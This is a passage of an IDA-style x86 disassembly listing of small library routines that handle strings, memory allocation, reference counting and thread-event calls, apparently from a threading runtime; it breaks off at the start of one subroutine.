; =============== S U B	R O U T	I N E =======================================



sub_13D8A70	proc near		; CODE XREF: sub_13ABA9Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_13D8820
		add	esp, 14h
		retn
sub_13D8A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8AA0	proc near		; CODE XREF: sub_13AC12Fj

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+10Ch+arg_0]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_13D8AD7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_13D8AD7:				; CODE XREF: sub_13D8AA0+2Aj
		movsx	eax, [esp+118h+arg_8]
		mov	edi, sprintf
		push	eax
		lea	ecx, [esp+11Ch+var_100]
		push	offset dword_445514
		push	ecx
		call	edi ; sprintf
		mov	esi, [esp+124h+arg_C]
		lea	edx, [esp+124h+var_100]
		push	esi
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_13D8B18
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_13D8B18:				; CODE XREF: sub_13D8AA0+6Bj
		push	ebx
		lea	eax, [esp+11Ch+var_100]
		push	offset dword_445718
		push	eax
		call	edi ; sprintf
		push	esi
		lea	ecx, [esp+128h+var_100]
		push	32h
		push	ecx
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jz	short loc_13D8B74
		lea	edx, [esp+118h+var_108]
		lea	eax, [esp+118h+var_104]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445710
		push	esi
		call	sscanf	; sscanf
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_13D8B74
		mov	ecx, [esp+118h+arg_4]
		mov	edx, [esp+118h+var_108]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_13D8B74:				; CODE XREF: sub_13D8AA0+97j
					; sub_13D8AA0+B8j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
sub_13D8AA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8BD0	proc near		; CODE XREF: sub_13AB7BBj

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_13D8C00
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8C00:				; CODE XREF: sub_13D8BD0+25j
		push	esi
		push	edx
		lea	eax, [esp+110h+var_100]
		push	offset dword_445724
		push	eax
		call	sprintf	; sprintf
		mov	esi, [esp+118h+arg_C]
		lea	ecx, [esp+118h+var_100]
		push	esi
		push	32h
		push	ecx
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_13D8C3B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8C3B:				; CODE XREF: sub_13D8BD0+5Bj
		mov	edx, [esp+10Ch+arg_8]
		mov	eax, [esp+10Ch+arg_4]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	strncpy	; strncpy
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
sub_13D8BD0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8CA0	proc near		; CODE XREF: sub_13ABAA9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_13D8820
		add	esp, 14h
		retn
sub_13D8CA0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8CD0	proc near		; CODE XREF: sub_13ABAC7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_13D8820
		add	esp, 14h
		retn
sub_13D8CD0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8D00	proc near		; CODE XREF: sub_13AB892j

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_13D8D99
		mov	ebx, [esp+10Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_13D8D99
		mov	esi, sprintf
		push	edx
		lea	eax, [esp+110h+var_100]
		push	offset dword_44573C
		push	eax
		call	esi ; sprintf
		mov	edi, [esp+118h+arg_8]
		lea	ecx, [esp+118h+var_100]
		push	edi
		push	33h
		push	ecx
		call	sub_13D75C0
		add	esp, 18h
		test	eax, eax
		jz	short loc_13D8D99
		push	ebx
		lea	edx, [esp+110h+var_100]
		push	offset dword_445730
		push	edx
		call	esi ; sprintf
		push	edi
		lea	eax, [esp+11Ch+var_100]
		push	32h
		push	eax
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8D99:				; CODE XREF: sub_13D8D00+21j
					; sub_13D8D00+3Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_13D8D00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8DE0	proc near		; CODE XREF: sub_13AC067j

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_13D8E09
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_13D8E09:				; CODE XREF: sub_13D8DE0+20j
		push	edx
		lea	eax, [esp+104h+var_100]
		push	offset dword_445748
		push	eax
		call	sprintf	; sprintf
		mov	ecx, [esp+10Ch+arg_4]
		lea	edx, [esp+10Ch+var_100]
		push	ecx
		push	32h
		push	edx
		call	sub_13D75C0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
sub_13D8DE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8E60	proc near		; CODE XREF: sub_13AC152j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_13D8E99
		push	edi
		push	esi
		push	32h
		push	offset dword_445754
		call	sub_13D75C0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	near ptr 13E1326h
		mov	ecx, [esi+14h]
		mov	edi, free
		push	ecx
		call	edi ; free
		push	esi
		call	edi ; free
		add	esp, 8
		pop	edi


loc_13D8E99:				; CODE XREF: sub_13D8E60+Aj
		pop	esi
		retn
sub_13D8E60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8EB0	proc near		; CODE XREF: sub_13AC59Ej

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_13D8EC0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_13D8EC0:				; CODE XREF: sub_13D8EB0+7j
		push	1Ch
		call	malloc	; malloc
		add	esp, 4
		test	eax, eax
		jnz	short loc_13D8ED6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_13D8ED6:				; CODE XREF: sub_13D8EB0+1Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
sub_13D8EB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8F30	proc near		; CODE XREF: sub_13AB914j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_13AB6B7
		add	esp, 4
		test	eax, eax
		jz	short loc_13D8F49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8F49:				; CODE XREF: sub_13D8F30+10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	free	; free
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_13D8F30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8F80	proc near		; CODE XREF: sub_13AB6D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_13AB6B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+4+arg_4]
		jnz	short loc_13D8FA5
		test	eax, eax
		jz	short loc_13D8FA5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13D8FA5:				; CODE XREF: sub_13D8F80+14j
					; sub_13D8F80+18j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
sub_13D8F80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D8FD0	proc near		; CODE XREF: sub_13AB7ACj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_13AB6B7
		add	esp, 4
		test	eax, eax
		jz	short loc_13D8FE9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8FE9:				; CODE XREF: sub_13D8FD0+10j
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jz	short loc_13D8FFD
		cmp	eax, 1
		jz	short loc_13D8FFD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D8FFD:				; CODE XREF: sub_13D8FD0+1Fj
					; sub_13D8FD0+24j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
sub_13D8FD0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9020	proc near		; CODE XREF: sub_13AB90Fj
		mov	eax, 28h
		retn
sub_13D9020	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9040	proc near		; CODE XREF: sub_13ABC25j
		mov	eax, 28h
		retn
sub_13D9040	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9060	proc near		; CODE XREF: sub_13AB748j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_13AB6B7
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9079
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9079:				; CODE XREF: sub_13D9060+10j
		mov	eax, [esi]
		mov	edx, [esp+4+arg_4]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
sub_13D9060	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D90A0	proc near		; CODE XREF: sub_13AC5E4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_13AB6B7
		add	esp, 4
		test	eax, eax
		jz	short loc_13D90B9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D90B9:				; CODE XREF: sub_13D90A0+10j
		mov	eax, [esi]
		mov	ecx, [esp+4+arg_4]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
sub_13D90A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D90E0	proc near		; CODE XREF: sub_13ABDA1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		mov	eax, [esp+arg_4]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
sub_13D90E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9110	proc near		; CODE XREF: sub_13ABD9Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	eax, 0
		jz	short loc_13D9132
		dec	eax
		jz	short loc_13D9122
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_13D9122:				; CODE XREF: sub_13D9110+Aj
		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_13D9132:				; CODE XREF: sub_13D9110+7j
		mov	eax, 30h
		retn
sub_13D9110	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9150	proc near		; CODE XREF: sub_13AC008j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_13D91EB
		mov	edi, [esp+0Ch+arg_8]
		test	edi, edi
		jz	loc_13D91EB
		push	18h
		push	1
		call	calloc	; calloc
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_13D91E2
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_13D9190
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_13D9190
		mov	eax, [eax]
		jmp	short loc_13D9192
; ---------------------------------------------------------------------------


loc_13D9190:				; CODE XREF: sub_13D9150+34j
					; sub_13D9150+3Aj
		xor	eax, eax


loc_13D9192:				; CODE XREF: sub_13D9150+3Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_13AC076
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D91D8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_13AC076
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13D91CF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D91CF:				; CODE XREF: sub_13D9150+77j
		push	edi
		call	sub_13ABA86
		add	esp, 4


loc_13D91D8:				; CODE XREF: sub_13D9150+62j
		push	esi
		call	free	; free
		add	esp, 4


loc_13D91E2:				; CODE XREF: sub_13D9150+2Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D91EB:				; CODE XREF: sub_13D9150+9j
					; sub_13D9150+15j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_13D9150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9230	proc near		; CODE XREF: sub_13AC5E9j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_13D9298
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_13D9298
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_13ABA86
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_13D928E
		lea	eax, [esi+14h]
		push	eax
		call	sub_13ABA86
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_13D927F
		push	esi
		call	free	; free
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D927F:				; CODE XREF: sub_13D9230+3Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_13AC076
		add	esp, 0Ch


loc_13D928E:				; CODE XREF: sub_13D9230+2Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D9298:				; CODE XREF: sub_13D9230+Aj
					; sub_13D9230+11j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
sub_13D9230	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D92D0	proc near		; CODE XREF: sub_13ABB99j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	loc_13D9384
		mov	esi, [eax]
		test	esi, esi
		jz	loc_13D9384
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	InterlockedDecrement	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_13D9317
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_13D9364
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_13AC44A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_13D9360
; ---------------------------------------------------------------------------


loc_13D9317:				; CODE XREF: sub_13D92D0+28j
		push	ebx
		call	sub_13AB6E4
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_13D933B
		lea	ecx, [esp+10h+arg_0]
		push	ecx
		push	ebx
		call	sub_13AB80B
		add	esp, 8
		test	eax, eax
		jz	short loc_13D933D


loc_13D933B:				; CODE XREF: sub_13D92D0+57j
		xor	ebx, ebx


loc_13D933D:				; CODE XREF: sub_13D92D0+69j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_13AB441
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_13D9360
		mov	eax, [esp+0Ch+arg_0]
		push	0
		push	eax
		call	sub_13AB80B
		add	esp, 8


loc_13D9360:				; CODE XREF: sub_13D92D0+45j
					; sub_13D92D0+7Fj
		test	esi, esi
		jnz	short loc_13D937E


loc_13D9364:				; CODE XREF: sub_13D92D0+32j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	ds:dword_102C5A4
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_13D937E:				; CODE XREF: sub_13D92D0+92j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9384:				; CODE XREF: sub_13D92D0+7j
					; sub_13D92D0+11j
		mov	eax, 16h
		pop	esi
		retn
sub_13D92D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D93C0	proc near		; CODE XREF: sub_13AC350j

arg_0		= dword	ptr  4

		push	esi
		push	4
		push	1
		xor	esi, esi
		call	calloc	; calloc
		add	esp, 8
		test	eax, eax
		jnz	short loc_13D93E3
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_13D93E3:				; CODE XREF: sub_13D93C0+12j
		mov	ecx, [esp+4+arg_0]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_13D93C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9410	proc near		; CODE XREF: sub_13ABE73j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_13D9431
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_13D9431
		push	eax
		mov	[ecx], esi
		call	free	; free
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9431:				; CODE XREF: sub_13D9410+9j
					; sub_13D9410+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_13D9410	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9450	proc near		; CODE XREF: sub_13AB67Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13D946D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_13D946D
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jz	short loc_13D946D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13D946D:				; CODE XREF: sub_13D9450+6j
					; sub_13D9450+Cj ...
		mov	eax, 16h
		retn
sub_13D9450	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9490	proc near		; CODE XREF: sub_13ABA2Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_13D94BA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_13D94BA
		mov	eax, [esp+arg_4]
		cmp	eax, 1
		jz	short loc_13D94AE
		test	eax, eax
		jnz	short loc_13D94BA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_13D94AE:				; CODE XREF: sub_13D9490+15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_13D94BA:				; CODE XREF: sub_13D9490+6j
					; sub_13D9490+Cj ...
		mov	eax, 16h
		retn
sub_13D9490	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D94D0	proc near		; CODE XREF: sub_13AB80Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		call	sub_13AB6E4
		mov	esi, eax
		test	esi, esi
		jz	short loc_13D9558
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_13D94EA
		cmp	edi, 1
		jnz	short loc_13D9558


loc_13D94EA:				; CODE XREF: sub_13D94D0+13j
		push	ebx
		lea	ebx, [esi+2Ch]
		push	ebx
		call	sub_13AC625
		mov	eax, [esp+10h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_13D9504
		mov	ecx, [esi+30h]
		mov	[eax], ecx


loc_13D9504:				; CODE XREF: sub_13D94D0+2Dj
		test	edi, edi
		mov	[esi+30h], edi
		jnz	short loc_13D9549
		mov	eax, [esi+34h]
		test	eax, eax
		jnz	short loc_13D9549
		mov	edx, [esi+38h]
		push	edi
		push	edx
		call	WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_13D9549
		mov	eax, [esi+38h]
		mov	dword ptr [esi+0Ch], 3
		push	eax
		mov	dword ptr [esi+30h], 1
		call	ResetEvent	; ResetEvent
		push	ebx
		call	sub_13AB4C3
		push	2
		call	sub_13AC1D4
		add	esp, 8


loc_13D9549:				; CODE XREF: sub_13D94D0+39j
					; sub_13D94D0+40j ...
		push	ebx
		call	sub_13AB4C3
		add	esp, 4
		xor	eax, eax
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13D9558:				; CODE XREF: sub_13D94D0+Bj
					; sub_13D94D0+18j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_13D94D0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9590	proc near		; CODE XREF: sub_13AC63Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		call	sub_13AB6E4
		mov	esi, eax
		test	esi, esi
		jz	short loc_13D9618
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, 1
		jz	short loc_13D95AA
		test	ebx, ebx
		jnz	short loc_13D9618


loc_13D95AA:				; CODE XREF: sub_13D9590+14j
		push	edi
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_13AC625
		mov	eax, [esp+10h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_13D95C4
		mov	ecx, [esi+34h]
		mov	[eax], ecx


loc_13D95C4:				; CODE XREF: sub_13D9590+2Dj
		mov	eax, [esi+30h]
		mov	[esi+34h], ebx
		test	eax, eax
		jnz	short loc_13D9609
		test	ebx, ebx
		jnz	short loc_13D9609
		mov	edx, [esi+38h]
		push	ebx
		push	edx
		call	WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_13D9609
		mov	eax, [esi+38h]
		mov	dword ptr [esi+0Ch], 3
		push	eax
		mov	dword ptr [esi+30h], 1
		call	ResetEvent	; ResetEvent
		push	edi
		call	sub_13AB4C3
		push	2
		call	sub_13AC1D4
		add	esp, 8


loc_13D9609:				; CODE XREF: sub_13D9590+3Cj
					; sub_13D9590+40j ...
		push	edi
		call	sub_13AB4C3
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13D9618:				; CODE XREF: sub_13D9590+Bj
					; sub_13D9590+18j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_13D9590	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D9650	proc near		; CODE XREF: sub_13AC0EEj
		push	esi
		push	edi
		call	sub_13AB6E4
		mov	esi, eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_13AC625
		add	esp, 4
		test	esi, esi
		jz	short loc_13D969D
		cmp	dword ptr [esi+30h], 1
		jz	short loc_13D969D
		mov	eax, [esi+38h]
		push	0
		push	eax
		call	WaitForSingleObject	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_13D969D
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_13AB4C3
		push	2
		call	sub_13AC1D4
		add	esp, 8


loc_13D969D:				; CODE XREF: sub_13D9650+17j
					; sub_13D9650+1Dj ...
		push	edi
		call	sub_13AB4C3
		add	esp, 4
		pop	edi
		pop	esi
		retn
sub_13D9650	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D96D0	proc near		; CODE XREF: sub_13AC125j
